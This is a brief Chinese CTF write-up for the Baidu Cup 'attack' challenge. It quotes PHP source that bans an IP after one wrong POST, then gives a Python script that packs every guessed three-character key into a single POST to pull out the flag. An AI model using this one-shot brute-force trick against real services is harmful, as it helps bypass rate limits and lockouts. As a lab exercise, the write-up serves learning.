百度杯 "2017春秋歡樂賽 攻擊"
阿新 • • 發佈:2018-12-19
開啟題目網址,程式碼就被高亮出來
<?php header("content-type:text/html;charset=utf-8"); show_source(__FILE__); echo '<pre>'; include('u/ip.php'); include('flag.php'); if (in_array($_SERVER['REMOTE_ADDR'],$ip)){ die("您的ip已進入系統黑名單"); } echo "hello"; var_dump($ip); if ($_POST[substr($flag,5,3)]=='attack'){ echo $flag; }else if (count($_POST)>0){ $ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL; file_put_contents('u/ip.php',$ip,FILE_APPEND); } echo '</pre>'; ?>
程式碼表明你只有一次的攻擊機會
沒辦法,只能窮舉$flag中從第六的位置開始的長度為3的字串,然後將所有窮舉出來的結果post方式,一次性提交,這種方法的前提是要猜$flag中有哪些字元。一旦少了某個字元,就涼涼了。。
寫個python指令碼
import requests flagChar="0123456789abcdefgh" url="http://a19387d3be524b46a3c917d3d91cdde1fe047abb5cf449da.game.ichunqiu.com/" dictData={} for a in flagChar: for b in flagChar: for c in flagChar: dictData[a+b+c]="attack" print(dictData) res=requests.post(url,data=dictData) print(res.text)
不過這道題不知道現在什麼情況,返回500狀態碼